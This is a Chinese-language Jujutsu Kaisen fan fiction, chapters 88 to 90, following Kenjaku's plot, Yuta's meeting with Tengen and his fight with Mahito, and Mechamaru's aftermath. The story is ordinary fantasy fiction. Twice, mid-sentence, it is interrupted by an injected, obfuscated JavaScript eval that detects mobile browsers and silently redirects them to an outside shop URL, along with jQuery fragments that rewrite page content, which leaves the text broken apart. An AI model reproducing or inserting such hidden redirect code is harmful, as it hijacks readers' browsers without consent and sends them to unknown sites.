缝合脸咒灵依旧嬉皮笑脸地说道:“所以你还有什么其他的想法?漏瑚它们可都等不及了......我们要按自己的想法来喽。”
羂索做了一个“请便”的动作。本来想着在计划真正开始之前把高专最近拿到的宿傩手指取走,不过既然已经被警惕着了,羂索反倒不再纠结。
“能认识一下对手的水准对你们来说也是一件好事,但也别太小瞧他们,”羂索最后提醒道,“我还不想在计划开始前就看着你们愚蠢地去送死,不过漏瑚肯定听不进去吧。”
“哈哈。”
真人笑了两声,想到了在里樱高校遇到的那个三七分术师。
它清楚地明白咒灵们和羂索只是合作关系,它们想要开启战争夺得新人类的身份,羂索自有他不可告人的秘密,只要相互不加干涉,它们不介意和这样危险又博学的人维持同盟关系。
“如果你的计划失败了怎么办?”真人眯起眼睛,不怀好意地挑拨道。
羂索戴上了帽子,从容地说:“人类没办法控制自己的大脑,正如他们总是盲目的相信自己。即便再如何要求自己提高警惕,肉|体、或者说灵魂总会先一步背叛他们。”
狱门疆的存在被隐瞒得很好,哪怕五条悟已经做好了会见到“他”的准备......正如羂索所言,人类总会被意想不到的东西背叛,却总没办法狠下心舍弃它们,因为那正是维持“人类”身份的基石,如果舍弃它们还能自如地活下去的话,那只能说明人不再是人。
他多说了两句权当安抚:“你觉得我留着虎杖悠仁只是为了让他给我们添堵吗?”
真人摊手:“没有质疑你的意思,只是觉得他和我们不是一路人而已。”
“他虽然接受了九相图,但要是让他对你们产生归属感......我觉得你应该还不至于天真到这个地步,”羂索抬头望向沉闷的天空,最近总是这样阴沉,阳光也散发着冷意,“我对他没什么特别的安排,本来他只要成为两面宿傩的容器就算完成了使命,将绵延千年的诅咒锁链继续下去。现在倒是让我看到了一些其他的可能性。”
这胸有成竹的态度让真人不自觉地想要嗤笑,羂索不在乎它的反应,兀自说了下去:“为了达成目的什么都能逼迫着自己去做......比起不遇到威胁生命的事情就绝不主动前进的家伙来说,我个人倒是挺欣赏他这一点的。”
“你倒是很信任他啊。”
羂索伸出一根手指放在鼻尖,笑道:“至少在涩谷,他会帮着我的。”
在与京都姊妹校的交流会上,特级咒灵们对东京咒术高专发起了突袭。花御重伤,漏瑚甚至只剩下了一个头。不过它们是咒灵,只要经过一段时间的修养就能完全恢复。
没了身子的漏瑚借助陀艮的触须继续抽它的烟斗,看着像是顶着一个火山口的脑袋上有气无力地喷吐出一个个烟圈。
“怎么说,漏瑚?”
漏瑚半闭着眼睛,看向为了救它也差点被直接祓除的花御,回道:“按照你说的来吧,夏油。”
特级咒灵们聚集在了一个温泉里,这里适合修养,也很难被咒术师们发现,连陀艮都终于离开了自己的领域,泡在了泉水里。
羂索坐在温泉旁的石头上,升腾的热气模糊了他的面容:“那么,为了确保让五条悟失去战斗力,你们必须将他拖住至少二十分钟。接下来就到了我和狱门疆出场的时间了。”
漏瑚叼着烟斗思量着。交流会上的战斗足以让它认识到己方和五条悟之间的差距,更坚定了它们选择封印五条悟后再开启战争的想法。只是想要拦住最强咒术师二十分钟,如果不采用极端手段……
半晌,漏瑚说:“让虎杖悠仁跟着我们一起行动。”
羂索回答得很干脆:“如果你们能够说动他的话。”
特级咒灵们不约而同地露出了鄙夷的神情。
“明明只需要你的命令足够准确,他完全可以成为提线木偶一样帮我们做事,再说他现在吃了那么多根手指,就算再没天赋也多少能派上一些用处的吧。”真人伸着懒腰,它算是这次突袭中唯一全身而退的人……只是因为它足够好运、六眼术师的超规格攻击并没有伤及灵魂的力量罢了。
“呵呵,”羂索依旧保持着游刃有余,但接下来的话几乎完全否决了咒灵们的提议,“虎杖悠仁是‘我’无法封印五条悟后的预备手段,我是打算把他这张牌留到最后的。”
他的目光轻若无物又仿佛故意落到了真人的身上,在缝合脸咒灵察觉到之前又迅速地挪开了。
“算了,到时候总归会有办法的,”真人翻了个身,溅起的水花淋了花御一身,“最近还得找个时间去把我身上的束缚解决掉。真的不能直接杀了他吗?”
“建立在多人之间的束缚本就很难成功,违约的代价自然也就不可估量。建议你还是乖乖履行约定比较好哦,真人。”
闻言它嘿嘿笑了两声,狡黠地说:“那就是完成了之后随我开心的意思吧?哈哈!”
羂索道:“这回你就自己去吧,真人。降下‘帐’的方法我已经教给你了,记得设定好条件。”
真人伸出第三只手向他摆了摆,极尽敷衍。
新宿街头,感受到有重量打在肩膀上的虎杖悠仁抬起头,又有一滴雨水直接落在了他的鼻尖。他戴上了兜帽,加快脚步轻松地跑了起来。
等最后这几场雨过去,很快就会下雪了吧。
呼出的气体还不会变成白色,但仍旧有成团的热量在跑动间迎面撞上他的脸颊,裸露在外的脚腕和手腕后知后觉地感受到了秋雨带来的凉意。脚边的步道渐渐变了色,虎杖悠仁有些走神地盯着被淋湿的地面,在红绿灯前停了下来。
雨淅淅沥沥地下着,颇有愈演愈烈的势头。像他一样没有准备的人大多脚步匆匆,虎杖悠仁看着他们用手或者公文包搭在头顶企图挡住雨滴,不过这都是徒劳的心理安慰而已,但不象征性地这么干就会觉得不太对劲,仿佛成了街上的异类一般。
还是下雪的时候比较好。纯白色会覆盖一切,不论是土路上的石子、亦或是路边倒伏的花茎,好的坏的全都被大雪埋葬,推开门就是一望无际的新雪。
犹如昨天发生的种种都已被遗忘,想要重新开始的心情如此蓬勃,只要双脚踏上干干净净的雪地就可以创造全新的印记。
要是人生也能重来就好了。
虎杖悠仁路过了一家柏青哥游戏厅,大雨反倒成了穿梭在游戏厅的人拒绝离开的理由,这里还是一如既往地火热。他站在门口待了很久,在兜里摸到了一些硬币和现金。最终,踩着唤醒回忆的中奖主题曲,他抬脚踏了进去。
就算人生重来,要面对的也不过是一成不变的、诅咒的世界。
也许他需要一些将人生与人性都放上赌
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17378227|200134||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
局的狂热。想要改变现状,什么都无法放弃的家伙是做不成任何事的。
虎杖悠仁摁下了按钮。
长廊里的灯亮了起来。
这里本不该有指路的明灯,道路两旁冲天而生的枯木占据了乙骨忧太的全部视野,灯光的存在反而加深了它们的影子,让它们变得更加朦胧莫测。
他向前走,这个地方没有岔路,所以只要找到真正的门,然后一直往前走就能抵达他想要去的地方。
很快一间仓库一样的房间出现在了远方,看起来就和学校操场旁存放体育用具的仓库差不多,大门也像是铁制的,门前没有人。
这里应该有忌库番守卫着,但除了门前能够勉强看到的两摊陈旧血迹,再无其他痕迹,似乎这里已经完全被这片空间的主人舍弃了一般。乙骨忧太在门前停了一会儿。
忌库里存放着几根宿傩的手指,都是高专在最近回收回来的,似乎并没有被施以特别的封印,他仅仅是挨着门伫立就能感受到它们散发出来的气息。
思及自己来到这里的目的,乙骨忧太原本有些犹豫的脚步坚定了起来。他伸手摸到了门的本体,稍一用力就轻而易举地推开了它。
下一刻,纯白的世界将他笼罩其中,而薨星宫的主人也被不请自来的客人拔刀相向。
“......天元、大人?”
“欢迎你,道真的子嗣。”
异形的术师以自己本来的面貌出现在了乙骨忧太身前,黑发少年挑起眉毛。说它像是完全变成了咒灵也不为过,没有瞳孔的四只眼睛分布在结构完全改变、像是个大拇指一样的头部,只穿了纯白的罩袍,不过从裸露在外面的皮肤也能看出它经历过的漫长年岁。
简直就像小时候村子里的那颗巨木,让人看了不禁感叹“它居然还活着啊”。
乙骨忧太对天元的称呼感到疑惑。
“我既能被称为全知的术师,感知血脉自然不会太过困难。硬要说的话,你和当代的六眼也有血缘关系,这种联系可以追溯到平安时代。”
乙骨忧太知道五条家的祖先便是平安时代的三大怨灵之一菅原道真,也许他们家就是这庞大而古老的家族不知何时被分出去的一脉,结果到了他自己这里发生了异变,得到了来自先祖的馈赠。
只是他并不关心这些。
“那您一定知道我为何而来。”他言简意赅。
天元肯主动现身倒是省去了他不少力气,他还以为这位五条悟口中的“千年家里蹲”还会像过去数年拒绝白发咒术师拜访那样继续将他拒之门外。
全知的术师无愧于它的名号:“你的确能够通过黑绳达成你的目的。在当代咒术师当中,能够像你一样对外输出正极能量的人也凤毛麟角,更何况你的咒力输出效率大大提高了达成目标的可能性。”
“所以,”乙骨忧太抬眸,和天元空无一物的眼瞳对视着,“请告诉我能够编织黑绳的诅咒在哪里。以及——”
“我要知道关于他的一切。”
他是谁、拥有什么样的能力,以及,如何彻底杀死他。
天元走到一旁,纯白一片的空性结界在它的操纵下变成了乙骨忧太再熟悉不过的房间。这是他和悠仁在村子里生活时的那间小房子,被炉还保持着他们离开时的模样。
“羂索。慈悲之羂,救济之索。”天元似乎陷入了某段回忆,随后用一种会让乙骨忧太感到微妙不爽的腔调说道:“名字的意义之于羂索而言恐怕与身体无异,不必在意。那孩子和我一样,是平安时代的术师,也是仅次于我的结界术高手。因为那个术式的原因,想要彻底令其死亡也很简单,只要摧毁大脑就可以。”
“术式,是指可以更换身体的术式?大脑是本体吗?”
然而天元却将对话突兀地停在了这里,转而说起乙骨忧太询问的关于“能够继续编织黑绳的诅咒”的所在地。
值得庆幸的是,诅咒的确还在国内存在着。
“您似乎在逃避着什么,”黑发少年渴求着眼神交流,只不过不论现实还是幻想,天元都无法完成这一点,“还在警惕我的立场吗?”
全知的术师做出了垂头闭眼的姿态。它似是叹息似是平静地说道:“哪怕是我也不敢说自己已经完全了解了人类,参悟人心是我踌躇千年想要做到却从未真正开始的一件事,时至今日也依然。”
乙骨忧太移开目光:“因为您有足够的时间可以用来犹豫。”
天元不置可否。
既然已经得到了自己最想要知道的情报,乙骨忧太也不欲再在这里多浪费时间:“就算您能够知晓一切发生在结界内的事,但是结界却无法让您看穿人心。只是,如果不真正走到人群中,不和人交往,不将自己当做真正的‘人’,花费再多的时间思考也是徒劳吧?”
他抬头环顾四周,看到了衣柜和天花板缝隙间的蛛网,看到了墙角熟悉的霉斑,最后游动的目光重新落在了异形的术师身上:“因为悠仁,我才有机会重新将自己当做人类看待,而非自我放逐的怪物。所以,我的选择从来都只有他。”
在足以以假乱真的空性结界溃散前,天元都未发一语。
乙骨忧太从忌库中取走了所有的宿傩手指,没再试图继续向前。到走廊尽头乘坐升降梯向下就能抵达通往薨星宫本殿的参道,那里已经被毁得一塌糊涂。
连通地面的甬道恢复了往日的宁静。
89. 第 89 章
吉野顺平现在还是不太敢和乙骨忧太说话,哪怕伏黑惠和钉崎野蔷薇都说他是个很好相处的人。
“乙骨前辈才刚回来,又要走?”钉崎野蔷薇缠着禅院真希问道。经过了交流会上的这一遭,高专学生们之间的关系变得亲近了不少。毕竟是一同经历过生死患难的同伴,在危急时刻建立起来的信任即便在很久之后也不会轻易破开。
“听说是为了准备一件特殊的咒具,”禅院真希也比她多知道一些而已,“好像组屋鞣造、啊,就是交流会上被五条老师俘虏的那个诅咒师,听说是个咒具大师。好像就连他也没办法,只有忧太一个人知道怎么做。”
不过在离开之前,他还接下了另一项工作。
禅院真希吐槽道:“还真让我说中了,这家伙果然在这里待不久。”
细细数来,乙骨忧太只在高专安安分分待了半年左右,甚至后半段大部分时间都在独自出任务,有点神出鬼没的意思了。
“毕竟是特级,不过他本人和我听到的传言差别好大!”
“啊?”
钉崎野蔷薇掰着手指一一数出她听到的称呼:“像是白色死神之类的,听说是个下手狠辣的家伙,不过最有名的还是他的恋爱过程啦......”
想想也是,能有那样曲折浪漫的恋爱经验,前面的那些称号倒有点像是捕风捉影,以讹传讹的感觉了。
一旁的伏黑惠不知该作何反应。结果乙骨前辈最出名的居然是恋爱......不过那些称呼倒是没叫错。
他摸了摸圆鹿的头,感受到自己的咒力正在飞速地流失着。叫它出来一会儿就已经消耗掉他大半的咒力。
伏黑惠有点羡慕乙骨忧太仿佛取之不尽、用之不竭的庞大咒力量,不过反转术式的咒力消耗本身就是正常施用术式的数倍,圆鹿也只能在关键时刻当做保命的手段被召唤出来。
他看着驼鹿一样高大的式神重新归于影子里。
乙骨忧太提着刀跟随庵歌姬走在昏暗的地下通道中。
“已经能够确定就是机械丸同学了吗,歌姬老师?”
庵歌姬额头有些出汗,她回答道:“五条找了冥小姐,我也已经在我的职权范围之内尽可能地调查了一遍......学生中嫌疑最大的就是机械丸了。”
她嘁了一声,咬着牙小声说:“谁愿意听到自己的学生和咒灵勾结这种事啊。”
乙骨忧太安抚她的情绪:“也许有什么理由,等我们找到机械丸同学之后再好好问一问吧,可能是像吉野同学一样受人蛊惑,或者被胁迫了也说不定。”
庵歌姬只道:“但愿如此吧。他就在前面。”
机械丸原名与幸吉,天生的天与咒缚让他以皮肤和肢体的残疾换来了术式【傀儡操术】足以覆盖全国的术式范围与从出生起就开始积攒的庞大咒力。也因为这个破烂不堪的身躯让他无法以真面目示人,连月光都能灼伤的脆弱皮肤让他只能躺在营养液中藏身地下,每一个动作都会给他带来难以忍受的疼痛。
乙骨忧太的眼神瞥向一旁。如果和机械丸做交易的是真人的话,说不定他知道为什么机械丸会不惜冒这样的险也会选择赌一把了。
只可惜他们找错了地方。
“......他不在呢。”
空旷的房间中只剩下了一把椅子。乙骨忧太迅速开始观察留在走廊里杂乱的咒力残秽,出乎意料地在其中找到了一条非常明显的“提示”,简直一目了然到让人怀疑是不是什么人故意留下的陷阱。
“我来联系冥小姐。”庵歌姬迅速拨通了电话,至于其中可能产生的费用,先用五条悟的名字顶上去,剩下的之后再说。
乙骨忧太已经顺着机械丸留下来的线索迅速追了出去。
因为前进的速度太快,他竟然在打在脸上身上的风中尝到了一丝畅快的味道。在悬崖边看到了一只主动伸出的、求助的手......这大概就是让他觉得有点高兴的原因吧。
“乙骨!!记得接电话!!”庵歌姬追不上他,只能让喊声去追逐早已冲出很远的残影。
在屏蔽了电子信号的“帐”内,机械丸已经陷入穷途末路。
答应和真人达成束缚的那一天起,他就已经料到了自己也许会有这样的结局。哪怕因为不愿意轻易放弃好不容易得到的正常身体与只敢藏在心底的感情而仍旧试图丑陋地挣扎,似乎他的命运也早已注定。
积攒的咒力已经用尽,能够抵消必中效果的简易领域也消耗殆尽,他再无反抗的手段与力气。
想要通过联络五条悟求得一线生机,却被这个狡猾的敌人提前设好条件的“帐”彻底断送。机械丸感受着身体的温度逐渐消失,在他又爱又恨的电火花绽放的声音中等待着死亡。
就像一条濒死的鱼,终于跃出水面见到了梦寐以求的日出,却在重回水中之前被标枪|刺穿。这样也好。这样他就能亲眼看见太阳升起、直至生命的最后一刻也被阳光照耀着。
真人的狞笑在耳边戛然而止。
“‘帐’被?!嘁!”
机械丸看到的光并非幻觉,而是货真价实的太阳。
漆黑结界被强行破开,咒力凝聚的碎片飞散四处,落入本就因战斗而变得破碎不堪的残垣断壁中。
真人在这个“帐”上设置的条件是阻断信号以及禁止“帐”内的人离开,“帐”说到底终究还是一种结界术,既然增加了结界对内的强度,自然更容易从外部强行突破。新生的咒灵尚未完全参透咒术中的“等价”,所以在“帐”被人从外侧破开的时候难免惊讶了起来。
就算有咒术师偶然路过,也绝不应该这样莽撞地突破一个作用未知、情况未知的“帐”才对!
“果然是你啊,”闯入者的声音比他的刀光略后一步传达到了真人的耳中,在被磅礴的咒力侵蚀之前,特级咒灵机敏地改变了肉|体的形态,尽可能减少了受击的部位,“缝合线、异瞳,你就是在交流会上出现过的特级咒灵之一吧?我记得你叫真人?”
这家伙——真人不得不放弃了已到嘴边的猎物,拖着身体向后跃起,和乙骨忧太拉开了距离。
黑发少年的制服是特制的白色,不怎么修身,甚至令他看起来略显单薄。但是真人不敢轻举妄动,缠绕在乙骨忧太身上的咒力堪称恐怖,它从五条悟身上都没有感受到过这样庞大的咒力量。
“——超棘手的家伙来了啊,”真人舔着嘴唇,看向机械丸,“看来你还是留了一手。”
乙骨忧太看起来并不怎么警惕真人,他先是蹲在机械丸身边用反转术式帮他恢复了伤势,在确保他暂时不会有生命危险后才将眼睛转向了一旁的特级咒灵。
他拎着没有刀鞘的刀站了起来,锋利的刃部竟然直接切开了坚硬的混凝土,真人这才发现刀刃上覆盖着流淌的咒力,让本就凶恶的铁器变得更加致命。
“哈哈!难得遇到你这样的对手!!”真人摆好了架势,强敌在前的紧迫感让它的脑海中生出了诸多战斗灵感,并且迫不及待地想要将它们变为现实:“那就来试试看吧!!”
乙骨忧太不紧不慢地向前走着,逐步拉近他与真人之间的距离,语气像是一根被逐渐拧紧的弦:“......我很讨厌你。”
真人嘴角的笑意和乙骨忧太脚边的阴影同时扩大。
“所以,”刀光倏忽而至,没有什么默契的同时进攻,也没有一板一眼的对招,“请你赶紧去死吧。”
裹挟着杀意的咒力毫不留情地向着真人倾泻而下,仿佛不合时宜的暴雨倾盆,从阴影中冲出的巨大白色式神咆哮着追了上来。
乙骨忧太的刀法没什么流派和剑技,他只是单纯地在挥刀而已,却能够精妙地将真人的每一次进攻都挡下来。无论它将身体变化成什么模样,它的“杀意灵感”都完全没办法碰到乙骨忧太。
是咒术?还是身体力量的差距?真人没办法通过乙骨忧太身体表面咒力的流动方向判断出他的下一步动作,因为毫不遮掩的庞大咒力量完全将他包裹了进去,哪怕汇聚更多的咒力在手上或者脚上,产生的变化在这样的整体之中根本看不出来。
乙骨忧太的刀法领悟自夏油杰。不是说夏油杰教会了他如何挥刀,而是他学会了在面对精通格斗术之人的进攻时如何让自己避开那些拳拳致命的攻击,在防守的空隙中找到机会发起反击。
还有那个跟在他身后的大家伙——真人难以判断里香的存在究竟意味着什么,它看上去像是诅咒,又好像是咒灵,体内蕴含的力量与乙骨忧太本体相比也毫不逊色。
“哈哈!!我还是第一次遇见这样的对手!!”真人畅快地吼道,和机械丸博弈时升起的战意再度燃起,并且愈演愈烈,让它莫名在升腾的火光中见到了另一种可能性。
它能够凭借这场战斗再度进化,来到全新的高度!
乙骨忧太未发一语,只是配合着里香一起向真人发起进攻。“帐”已经被打破了,有冥冥的乌鸦在,咒术师们的支援很快就会集中过来。
“里香,要小心。”乙骨忧太知道真人是通过手掌接触来发动【无为转变】,摆弄被它触碰到的对象的灵魂,寻常咒术师没有保护自己灵魂的意识,因此一旦被它碰到,战斗就分出了胜负。
机械丸想要提醒乙骨忧太,但他的战斗宛如狂风骤雨,让机械丸根本找不到任何能够插手的机会。他拖着身子从已经被毁掉的傀儡装甲中回到了地面,开始查看还有什么能够被当做他术式对象的傀儡可供操纵。
真人逐渐在战斗中意识到自己处于下风。
比起已经和机械丸战斗过的真人,乙骨忧太状态火热。感受着体内逐渐消耗的咒力,真人找准机会从腹中吐出了提前储存的改造人。
“嘻嘻!!”
不管乙骨忧太做出什么样的反应,真人都会为此感到兴奋。是直接终结改造人们的性命,还是在那勉强能够被称为呓语的祈求声中犹豫不决......究竟会作何反应呢?!
“救、救救、我......”
乙骨忧太瞪大眼睛,刀刃在堪堪没入改造人脖颈的时候猛地停下,他灵活地反转咒具,改用刀背将改造人们击飞了出去。
“不杀了他们吗?反正也没救了吧?”真人的话中载满恶意,异瞳中倒映出黑
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17378228|200134||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
发少年和他手中重新亮起的锋刃。
回答它的只有无情地挥刀。
真人灵活地变化着肉|体的形态,乙骨忧太眯起眼睛,逐渐失去了耐心。
他忽然停下了原本一刻不停的进攻,用手捂住了下半张脸。不能再让它继续这样随意行动了。
庞大的咒力形成了天然的伪装,乙骨忧太放下手后,同心圆状的咒纹组成了蛇眼与蛇牙的纹路,出现在了他的嘴角和舌头上。
“不许动!”
蕴含着咒力的言灵穿透了真人的鼓膜,它惊奇地看着发生在乙骨忧太身上的异变,感受到身体的控制权被逐步剥夺,只能眼睁睁地看着白色式神的手掌握成拳头,猛地将它砸向地面。
大地龟裂,真人觉得自己像是被塞到碾压机里的废品,胸腔中的骨头碎了个干净。如果它没记错的话,这应该是属于咒言师的术式,乙骨忧太却将其使用了出来......
“原来是、这样啊!!”肉|体的损伤对真人来说无关紧要,只要是不能触及灵魂的进攻都毫无作用。
揉捏灵魂恢复了肉|体的形态,真人还未来得及擦掉脸上的鲜血,就看见乙骨忧太闪身主动来到了它的身前,向它伸出了手。
真人嗤笑一声。难道这家伙因为一时得利而被冲昏了头?居然想要主动接触它——被它的“原型”触碰到的结果只有一个!
乙骨忧太挥出的拳头被真人用手掌直直地挡下,可没等它有机会窃笑黑发少年的愚蠢,从两人接触的地方迸发开来的血肉让它将一切刻薄的话吞了回去。
“什么——?!”
骨骼、神经、肌肉组织以及由咒力组成的所有躯体都在那一瞬间受到某种无形的力量冲击直至溃散。那不是普通的咒力进攻,而是一种真人极为陌生、却令它身心震颤的力量。
这是、它的天敌!!
真人升起了退开的想法,在看到乙骨忧太微微扬起的笑容时,它坚定地立刻向后远离这个难以捉摸的对手。
诞生自负面感情、由诅咒组成的咒灵想要复原失去的肢体要远比人类简单太多,只需要等待咒力恢复就能令肢体再生。然而此时此刻,真人断臂处的伤口却迟迟没有再生的迹象,覆盖在伤口上的力量反而继续向内侵蚀着,仿佛它们“活着”一样。
这是正极能量,与构成咒术的负极能量相对,它既是使用反转术式的基础,也是咒灵们的“天敌”。
真人摸着断掉的臂膀,有冷汗从额头流下。它只顾得观察乙骨忧太能否伤及它的灵魂,却忽视了它身为咒灵的本质......哪怕能够摆弄灵魂的能力让它足够特殊,但它终究无法摆脱自己咒灵的身份,而只要是咒灵就注定会被正极能量所克制。
“我也是第一次这么用,”乙骨忧太张开手掌拂过反着光的刀刃,歪着头说道,“看来下次可以再稍微大胆一些。”
真人飞快地思考着。
乙骨忧太和它一样是“天才”。
没有什么对战斗的执着,也不会为了在面对无法击倒的敌人时逃跑而感到羞愧。所以它干脆利落地转身就跑,甚至将双腿揉捏成了擅于奔跑的结构,边跑边喊:“拜拜啦~我们下次再见——”
机械丸的傀儡和被冥冥操纵的黑鸟悍不畏死地拦向真人逃跑的方向,却都被它机敏地躲避了过去。
它看到了下水道,就在它转变姿态准备从缝隙中钻进去时,刺眼的光从背后打来,回头的瞬间它瞥见了由无数咒力凝聚而成的核心。
“骗人的吧?”
不可置信的质疑被吞没在了旋转着爆发的咒力冲击中,令空气都在震颤着的力量所过之处留下了恐怖的痕迹。
烟尘散去,乙骨忧太的身影渐渐露了出来。
“干掉他了吗?”机械丸在傀儡的搀扶下勉强站了起来,发现乙骨忧太仍在认真地凝望着真人逃跑的方向,于是噤声不再干扰他。
黑鸟们盘旋在上空,远处的公路上已经有辅助监督和附近的咒术师们赶来的身影。
“这也、太夸张了点......”新田新惊讶地长大了嘴巴感叹道。她站得位置更高一些,战斗发生的地方更像一个水库,以乙骨忧太站立的地方为起始,一道横贯地面的凹陷直接将大坝击穿,空气中留下了令人皮肤战栗的咒力气息。
“毕竟是特级,不过他才十七岁吧?这种力量......”和她同行的辅助监督啧舌。
究极机械丸庞大的躯体残骸半截留在水中,另一半倒在岸上。
乙骨忧太完全感知不到真人的咒力了,一部分是因为周围全都是他自己的气息,浓缩的咒力冲击连它准备逃跑的下水道入口都直接掀翻了,看起来通道也全部坍塌,没办法分辨到底是已经被彻底祓除还是重创了它。
“......看上去被它逃走了,”乙骨忧太回答了机械丸的问题,让里香收走了他手中的刀,“果然刚才应该再用一次咒言......”
黑色的眸子在周围扫视了一圈,最后落在了早先被他击飞的改造人们身上。
乙骨忧太走到了它们身边,蹲了下来,用手触摸着它们的头颅。
90. 第 90 章
“忧太你啊,术式似乎本来不应该这样没有限制哦。”五条悟扒拉着自己的眼罩,再一次用六眼上上下下将乙骨忧太打量了一遍。
坐在椅子上的乙骨忧太垂着头,认可了五条悟的话。家入硝子刚才已经离开了解剖室,冰冷的铁质台子上摆放着改造人们的尸体。
“我知道的,五条老师......是里香,她走之前留下了这个礼物。”张开的手掌再一次握紧,乙骨忧太想起了祈本里香的告别。女孩带走了她的遗物,却将因为诅咒而被扭曲的力量完整地留给了乙骨忧太。
模仿与复制的术式本不应该像这样毫无限制,术式施行的条件会比现在更苛刻一些。乙骨忧太多少能够感知到自己的术式原本的使用条件,大概需要获取术式对象的某一部分才能完成模仿吧。
而不是像现在这样只要产生了接触的行为就能轻松地拿走对方的术式。
“嗯哼哼,果然还是年轻人啊~”
乙骨忧太缩了缩脖子,五条悟总喜欢用一种关爱小辈的语气对待学生们,虽然以他们之间的年龄差来看,这样的态度也没什么啦......不过,五条悟本人也还很年轻不是吗?
“所以,虽然拿到了缝合脸咒灵的术式,但是因为看不见灵魂的形状而无法使用......这倒是不难理解,毕竟忧太你也没办法用我的无下限嘛。”
因为缺少了至关重要的六眼,哪怕乙骨忧太模仿了五条悟的【无下限咒术】也没办法自如使用无限的力量。
“而且,我的术式似乎在针对咒灵使用时限制更大一些。”乙骨忧太说道。
从真人那里模仿来的【无为转变】仅仅是尝试使用一次之后就从脑中消失了,似乎是因为咒灵们拥有术式的方式与人类不同,没有广义上刻印在右脑前额皮质处的回路,因此在被模仿之后很难长时间维系,哪怕使用失败也会彻底消失。
乙骨忧太再一次望向解剖台上的改造人尸体。很遗憾,他救不了他们。
五条悟拍了拍手,将他的思绪唤了回来:“抓紧时间出发吧,你不是很着急吗?”
乙骨忧太似是想说什么,可是话到嘴边又仿佛有什么无形的障碍拦住了它们,最终消弭于无形,再无人知晓。
机械丸因为和咒灵勾结而被京都咒术高专开除,如今被关押在专门监禁诅咒师的监牢内。他的同期们都来看过他,最后他等来了那个蓝头发的少女。
“......”三轮霞和机械丸隔着铁栏杆相顾无言。
“三轮,”他们之间沉默了太久,机械丸开口打破了这片宁静,“我——”
他几乎是鬼使神差地在离开那间地下室的时候沿路留下了自己的咒力残秽。明知道那样做只会加速自己被发现的过程,但在忍受着皮肤针扎般的痛苦移动时,他还是那样做了。
他为自己留下了一条不知道展现给谁看的生路。
机械丸从不后悔和咒灵做了交易,以获得完全正常的身体为报酬,给特级咒灵们提供了它们需要的各种情报,让交流会上的突袭得以顺利进行。哪怕为此他会失去用天与咒缚换来的强大咒术,他也求之不得。
“机械丸你......现在虽然不再是京都校的学生,但歌姬老师说他们不会把你当做诅咒师来处罚。”三轮霞打断了他的话,她规规矩矩地坐在原地,可机械丸却能从她的动作里看出她并不像表现出来的那样毫无波澜。
这应该能够叫做戴罪立功,机械丸在被带回来之后主动交代了他知道的一切,包括真人的能力、有个额头上有缝合线的术师(五条悟似乎很关心这一点),他知道的东西看似很多,但实际能够为咒术师们提供帮助的信息却没有多少。这大概也是那个看上去是个阴谋家的术师故意为之的吧。
机械丸注视着三轮霞的面庞。
“既然活下来了,”三轮霞扬起笑脸,真诚地说道,“那么之后就让我们一起努力吧,机械丸!”
她笑着,但机械丸却能从她的脸上看出一些其他的意味。似乎是在遗憾他选择了这样的一条路,也似乎是在为他的经历而感到心痛,含着纯粹的担忧,亦有尘埃落定后的庆幸。
“嗯。”他应道。
在他被从战斗地点带走之前,乙骨忧太对他说的话此刻振聋发聩。
——如果一直想要凭借个人的力量解决问题的话,总有一天会走到极限的。
未尽之语他们二人都已有了各自的答案。
新宿的住所内,虎杖悠仁站在镜子前换上了新的衣服。他依旧偏爱帽衫,看着镜子里的自己。
陌生、又有点熟悉。
教会被捣毁的那一天,他只从那里带走了提前放在内兜的相片和里香送给他的御守,这些宝贵的东西被他放在了自己缝制的内衬夹缝中,轻若无物。
爷爷教他的针线活手艺能够满足他日常的需求,不求缝得不留痕迹或者有多么规整,只要能够保证它们不会在战斗中被甩出去就好。
巴掌大的相片已经变得满是褶皱,时间让记录在相纸上的照片逐年褪色,可虎杖悠仁却依旧能够借着它们的存在让自己回忆起那段彩色的时光。
在投身那场叛逆的战斗中前,他再一次拜访了里香和爷爷。
也许他们真的早已成佛了吧,灵魂前往极乐之地,所以这些年从未进入过虎杖悠仁的梦中,也没有什么话可以对他说。
虎杖悠仁双手合十,跪在爷爷的墓前闭上了双眼。
哪怕放到几个月前,他都从不曾想象过自己会做出这样不可容忍、不会被原谅的疯狂决定。
“我......大概死后也会下地狱的吧,”虎杖悠仁自言自语,皱着眉头笑道,声音略微颤抖着,“现在我多少能够体会到夏油先生的感觉了。”
在【御厨子】的无形斩击切断了夏油杰的生机时,当那声代表着成全与宽宥的叹息传入耳中,虎杖悠仁知道那是男人对这个世界留下的最后遗言。
——我原谅你。
原谅谁?为什么、凭什么——
诅咒在那一刻在虎杖悠仁的心中种下,在他远离自己的救赎、远离他熟悉的一切独自闯进这个残酷世界的时候,生根发芽。
选择这条路,意味着他必须无视一些生命的逝去,甚至亲手将他们推上名为死亡的悬崖,逼迫着他们跳下去。
从他亲手杀死夏油杰的那一天开始,一切命运都开始狂奔向了不可知的未来。
“......不被原谅也没关系。罪孽不能当做逃避的借口,在我身上的诅咒彻底消失之前......爷爷,请你保佑我们吧。”
他终究还是向着已逝之人说出了自己的祈求,这和向神明许愿一样荒诞。虎杖悠仁从不相信神明的存在,不论是幼时、还是现在。
口袋里的手机嗡响着,而虎杖悠仁再一次无视了朋友发来的信息。
越是痛苦,越是强大。
